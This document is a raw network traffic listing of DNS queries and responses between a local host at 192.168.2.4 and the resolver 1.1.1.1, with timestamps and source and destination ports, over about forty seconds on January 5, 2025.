Jan 5, 2025 10:48:04.102401972 CET	53	50251	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.223999977 CET	52009	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:04.659252882 CET	53	52009	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.661737919 CET	51174	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:04.669425011 CET	53	51174	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.772356033 CET	65401	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:04.803564072 CET	53	65401	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.805583954 CET	61786	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:04.862694025 CET	53	61786	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.975765944 CET	60042	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:05.849616051 CET	53	60042	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:05.853116989 CET	57729	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:06.133543015 CET	53	57729	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:06.241604090 CET	64064	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:06.257386923 CET	53	64064	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:06.259890079 CET	63194	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:06.271027088 CET	53	63194	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:06.383393049 CET	56628	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:06.419025898 CET	53	56628	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:06.426449060 CET	58662	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:06.434266090 CET	53	58662	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:06.538491011 CET	57549	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:06.548381090 CET	53	57549	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:07.397795916 CET	50997	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:07.414141893 CET	53	50997	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:07.518898964 CET	49159	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:07.529663086 CET	53	49159	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:07.647507906 CET	52967	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:07.693783998 CET	53	52967	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:07.698442936 CET	58989	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:07.707427979 CET	53	58989	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:07.819598913 CET	61215	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:07.844912052 CET	53	61215	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:07.847845078 CET	56980	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:07.950861931 CET	53	56980	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.054336071 CET	51475	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.065365076 CET	53	51475	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.067775965 CET	49815	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.077092886 CET	53	49815	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.178790092 CET	62861	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.188222885 CET	53	62861	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.190829992 CET	60155	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.199815989 CET	53	60155	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.319577932 CET	59605	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.330946922 CET	53	59605	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.333455086 CET	61341	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.352909088 CET	53	61341	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.460887909 CET	63594	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.507288933 CET	53	63594	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.511032104 CET	61664	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:08.552759886 CET	53	61664	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:08.663530111 CET	52711	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:09.442856073 CET	53	52711	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:09.445919991 CET	57745	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:10.221967936 CET	53	57745	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:10.335288048 CET	61616	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:10.521328926 CET	53	61616	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:10.528004885 CET	62153	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:11.468914032 CET	53	62153	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:11.585330009 CET	65298	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:11.603833914 CET	53	65298	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:12.194746017 CET	59557	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:12.253729105 CET	53	59557	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:12.850814104 CET	59363	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:13.276607990 CET	53	59363	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:13.298912048 CET	61143	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:13.340909958 CET	53	61143	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:13.444700956 CET	63609	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:13.451674938 CET	53	63609	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.111449957 CET	50618	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:14.192745924 CET	53	50618	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.304143906 CET	61855	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:14.313009977 CET	53	61855	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.315247059 CET	51367	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:14.324065924 CET	53	51367	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.428807974 CET	61708	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:14.615905046 CET	53	61708	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.620279074 CET	58648	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:15.472510099 CET	53	58648	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:15.585469007 CET	55319	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:15.769849062 CET	53	55319	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:15.772588015 CET	51987	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:15.867393017 CET	53	51987	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:15.976587057 CET	65468	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:16.058026075 CET	53	65468	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:16.061806917 CET	64451	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:16.330286026 CET	53	64451	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:16.533437967 CET	64348	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:16.592783928 CET	53	64348	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:17.258517027 CET	60467	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:17.275063038 CET	53	60467	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:17.327724934 CET	52327	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:17.337420940 CET	53	52327	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:17.447211981 CET	65299	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:17.467739105 CET	53	65299	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:18.085176945 CET	52337	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:18.119329929 CET	53	52337	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:18.125901937 CET	64757	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:18.160824060 CET	53	64757	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:18.272743940 CET	58027	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:18.281527996 CET	53	58027	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:18.866425037 CET	63823	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:18.891082048 CET	53	63823	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:18.899382114 CET	54023	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:19.021656990 CET	53	54023	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:19.132637024 CET	55103	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:19.141777039 CET	53	55103	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:19.144134045 CET	59977	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:19.152741909 CET	53	59977	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:19.257822037 CET	63285	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:19.276738882 CET	53	63285	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:19.866354942 CET	63317	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:19.911240101 CET	53	63317	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:19.918126106 CET	61477	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:19.928669930 CET	53	61477	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:20.039732933 CET	62750	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:20.048685074 CET	53	62750	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:20.054143906 CET	49294	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:20.063721895 CET	53	49294	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:20.178836107 CET	64346	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:20.257213116 CET	53	64346	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:20.866384029 CET	56083	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:20.883096933 CET	53	56083	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:20.887653112 CET	63026	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:20.898468018 CET	53	63026	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:21.007498980 CET	51954	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:21.042743921 CET	53	51954	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:21.046180964 CET	54709	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:21.081849098 CET	53	54709	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:21.194613934 CET	60560	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:21.207356930 CET	53	60560	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:21.211143970 CET	52103	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:21.241688013 CET	53	52103	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:21.351149082 CET	51103	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:21.629167080 CET	53	51103	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:21.633830070 CET	62289	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:21.912015915 CET	53	62289	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:22.022958994 CET	53490	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:22.058973074 CET	53	53490	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:22.061717987 CET	57811	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:22.130475044 CET	53	57811	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:22.241508961 CET	50968	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:22.274697065 CET	53	50968	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:22.866372108 CET	61110	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:22.960066080 CET	53	61110	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:22.965192080 CET	56363	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.056643963 CET	53	56363	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.163202047 CET	60812	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.176872969 CET	53	60812	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.192007065 CET	64984	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.201001883 CET	53	64984	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.303716898 CET	58523	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.351536036 CET	53	58523	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.355046034 CET	63539	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.618499041 CET	53	63539	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.725696087 CET	62044	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.735631943 CET	53	62044	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.738812923 CET	50757	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.747833967 CET	53	50757	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.850800991 CET	54619	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.861629009 CET	53	54619	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:23.863837957 CET	50592	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:23.893923998 CET	53	50592	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.007076025 CET	51077	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.015322924 CET	53	51077	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.018836975 CET	59535	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.027482986 CET	53	59535	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.133593082 CET	63875	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.161767006 CET	53	63875	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.164334059 CET	50426	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.176052094 CET	53	50426	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.288395882 CET	60162	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.393923044 CET	53	60162	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.396433115 CET	57833	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.501908064 CET	53	57833	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.616240025 CET	58071	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.736140013 CET	53	58071	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.738573074 CET	57154	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:24.865820885 CET	53	57154	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:24.975728989 CET	58358	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:25.008955002 CET	53	58358	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:25.600864887 CET	62683	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:25.704202890 CET	53	62683	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:25.707463980 CET	63760	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:25.811829090 CET	53	63760	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:25.928869009 CET	58827	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:25.945699930 CET	53	58827	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:25.947937965 CET	57866	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:25.982165098 CET	53	57866	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.085269928 CET	53209	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.114841938 CET	53	53209	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.117806911 CET	50001	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.179897070 CET	53	50001	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.288177013 CET	62869	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.297339916 CET	53	62869	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.299854040 CET	50637	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.308624983 CET	53	50637	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.413244963 CET	57576	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.424710035 CET	53	57576	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.426954985 CET	64464	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.439232111 CET	53	64464	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:26.553949118 CET	63673	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:26.572520018 CET	53	63673	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:27.210282087 CET	51855	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:27.480818033 CET	53	51855	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:27.483740091 CET	59749	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:27.518213987 CET	53	59749	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:27.632009983 CET	63070	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:27.651798964 CET	53	63070	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:28.241702080 CET	61989	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:28.362109900 CET	53	61989	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:28.378046036 CET	64452	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:28.499459982 CET	53	64452	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:28.617360115 CET	62615	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:28.628412008 CET	53	62615	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:29.241583109 CET	52705	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:29.256484985 CET	53	52705	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:29.866406918 CET	56045	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:30.079551935 CET	53	56045	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:30.094007015 CET	55856	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:30.110606909 CET	53	55856	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:30.225887060 CET	54732	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:30.319267988 CET	53	54732	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:30.324332952 CET	57700	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.111270905 CET	53	57700	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.226825953 CET	59367	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.235538960 CET	53	59367	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.237885952 CET	52744	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.246809006 CET	53	52744	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.350876093 CET	59178	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.364864111 CET	53	59178	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.367419958 CET	52925	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.376652956 CET	53	52925	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.491274118 CET	50993	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.593852043 CET	53	50993	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.596486092 CET	65229	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.717518091 CET	53	65229	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:31.819427013 CET	59208	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:31.838987112 CET	53	59208	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:32.444983006 CET	62109	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:32.760792971 CET	53	62109	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:32.775774002 CET	60492	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:32.783091068 CET	53	60492	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:32.897655964 CET	62205	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:32.906105042 CET	53	62205	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:32.908406973 CET	57768	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:32.918224096 CET	53	57768	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:33.022660971 CET	50789	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:33.041759014 CET	53	50789	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:33.631998062 CET	63418	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:33.641120911 CET	53	63418	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:34.257158995 CET	53780	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:34.447966099 CET	53	53780	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:34.467379093 CET	52598	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:34.653165102 CET	53	52598	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:34.757797956 CET	61746	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:34.766479969 CET	53	61746	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:34.769042969 CET	51887	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:34.776499987 CET	53	51887	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:34.882023096 CET	65070	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:34.906644106 CET	53	65070	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:34.909105062 CET	55504	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:34.969104052 CET	53	55504	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:35.085254908 CET	62677	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:35.120012045 CET	53	62677	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:35.122457027 CET	55038	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:35.422364950 CET	53	55038	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:35.538640976 CET	58103	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:35.573136091 CET	53	58103	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:35.575715065 CET	61807	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:35.632683992 CET	53	61807	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:35.741367102 CET	49940	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:35.868638039 CET	53	49940	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:35.871234894 CET	63036	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:35.895020008 CET	53	63036	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:36.007409096 CET	62318	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:36.042732954 CET	53	62318	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:36.045478106 CET	60542	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:36.307486057 CET	53	60542	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:36.413276911 CET	55410	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:36.450505018 CET	53	55410	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.053916931 CET	60336	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:37.316345930 CET	53	60336	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.346095085 CET	62043	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:37.378616095 CET	53	62043	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.491391897 CET	55633	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:37.500397921 CET	53	55633	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.502783060 CET	59277	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:37.511740923 CET	53	59277	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.616374016 CET	63189	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:37.626677990 CET	53	63189	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.629291058 CET	63876	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:37.638607025 CET	53	63876	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:37.741422892 CET	51992	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:38.756513119 CET	51992	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:38.926685095 CET	53	51992	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:38.929124117 CET	53	51992	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:38.929387093 CET	50270	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.026459932 CET	53	50270	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.132155895 CET	49741	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.191659927 CET	53	49741	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.194305897 CET	52895	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.276268959 CET	53	52895	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.382114887 CET	52905	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.434303999 CET	53	52905	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.436918974 CET	55014	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.518973112 CET	53	55014	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.633502007 CET	50563	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.654799938 CET	53	50563	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.657216072 CET	59807	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.675695896 CET	53	59807	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:39.788582087 CET	63388	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:39.807467937 CET	53	63388	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:40.397706032 CET	59358	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:40.406303883 CET	53	59358	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:40.427326918 CET	62133	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:40.435694933 CET	53	62133	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:40.538981915 CET	60530	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:40.550647020 CET	53	60530	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.147847891 CET	54883	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.157182932 CET	53	54883	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.185328960 CET	52845	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.205544949 CET	53	52845	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.319827080 CET	52133	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.339104891 CET	53	52133	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.373980045 CET	55865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.400516987 CET	53	55865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.507122993 CET	50018	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.635725021 CET	53	50018	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.638329029 CET	50224	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.662635088 CET	53	50224	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.772938967 CET	58253	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.791764021 CET	53	58253	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.794482946 CET	55773	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.806087017 CET	53	55773	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:41.913886070 CET	58131	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:41.933360100 CET	53	58131	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:42.522694111 CET	53223	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:42.539175987 CET	53	53223	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:43.147663116 CET	61124	53	192.168.2.4	1.1.1.1
